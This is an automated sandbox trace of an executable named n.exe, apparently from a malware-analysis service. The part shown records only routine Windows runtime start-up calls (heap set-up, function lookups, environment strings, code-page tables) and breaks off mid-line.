# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 07.11.2019 21:30:08.566 Process: id = "1" image_name = "n.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe" page_root = "0x4eec3000" os_pid = "0x984" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x988 [0024.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x94300d00, dwHighDateTime=0x1d595b2)) [0024.358] GetCurrentProcessId () returned 0x984 [0024.358] GetCurrentThreadId () returned 0x988 [0024.358] GetTickCount () returned 0x114195b [0024.358] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=14464644324) returned 1 [0024.400] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0024.400] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x22f0000 [0024.402] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.402] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0024.402] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0024.402] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0024.402] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0024.403] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.403] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.403] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.403] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.403] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.403] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.404] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.404] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.404] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.404] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.404] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.404] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.404] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.404] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.405] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.405] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0024.405] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x214) returned 0x22f07d0 [0024.405] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.405] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0024.405] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0024.406] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0024.406] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0024.406] GetCurrentThreadId () returned 0x988 [0024.406] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0024.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x22f09f0 [0024.406] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0024.406] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0024.406] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0024.406] SetHandleCount (uNumber=0x20) returned 0x20 [0024.406] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe\" " [0024.406] GetEnvironmentStringsW () returned 0x5c90d8* [0024.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0024.406] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x565) returned 0x22f11f8 [0024.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x22f11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0024.406] FreeEnvironmentStringsW (penv=0x5c90d8) returned 1 [0024.406] GetLastError () returned 0x0 [0024.406] SetLastError (dwErrCode=0x0) [0024.406] GetLastError () returned 0x0 [0024.406] SetLastError (dwErrCode=0x0) [0024.406] GetLastError () returned 0x0 [0024.407] SetLastError (dwErrCode=0x0) [0024.407] GetACP () returned 0x4e4 [0024.407] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x220) returned 0x22f1768 [0024.407] GetLastError () returned 0x0 [0024.407] SetLastError (dwErrCode=0x0) [0024.407] IsValidCodePage (CodePage=0x4e4) returned 1 [0024.407] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0024.407] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0024.407] GetLastError () returned 0x0 [0024.407] SetLastError (dwErrCode=0x0) [0024.407] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0024.407] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.407] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0024.407] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0024.407] GetLastError () returned 0x0 [0024.407] SetLastError (dwErrCode=0x0) [0024.407] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0024.407] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.407] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣅ슳魴DĀ") returned 256 [0024.407] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣅ슳魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0024.407] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣅ슳魴DĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0024.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿj\x8bÁÊ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0024.407] GetLastError () returned 0x0 [0024.407] SetLastError (dwErrCode=0x0) [0024.407] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0024.407] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣅ슳魴DĀ") returned 256 [0024.407] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣅ슳魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0024.407] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꣅ슳魴DĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0024.407] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿj\x8bÁÊ\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0024.408] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4eb448, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe")) returned 0x2b [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.408] SetLastError (dwErrCode=0x0) [0024.408] GetLastError () returned 0x0 [0024.409] SetLastError (dwErrCode=0x0) [0024.409] GetLastError () returned 0x0 [0024.410] SetLastError (dwErrCode=0x0) [0024.410] GetLastError () returned 0x0 [0024.410] SetLastError (dwErrCode=0x0) [0024.410] GetLastError () returned 0x0 [0024.410] SetLastError (dwErrCode=0x0) [0024.410] GetLastError () returned 0x0 [0024.410] SetLastError (dwErrCode=0x0) [0024.410] GetLastError () returned 0x0 [0024.410] SetLastError (dwErrCode=0x0) [0024.410] GetLastError () returned 0x0 [0024.410] SetLastError (dwErrCode=0x0) [0024.410] GetLastError () returned 0x0 [0024.410] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.411] SetLastError (dwErrCode=0x0) [0024.411] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.412] SetLastError (dwErrCode=0x0) [0024.412] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22f1990 [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError (dwErrCode=0x0) [0024.413] GetLastError () returned 0x0 [0024.413] SetLastError 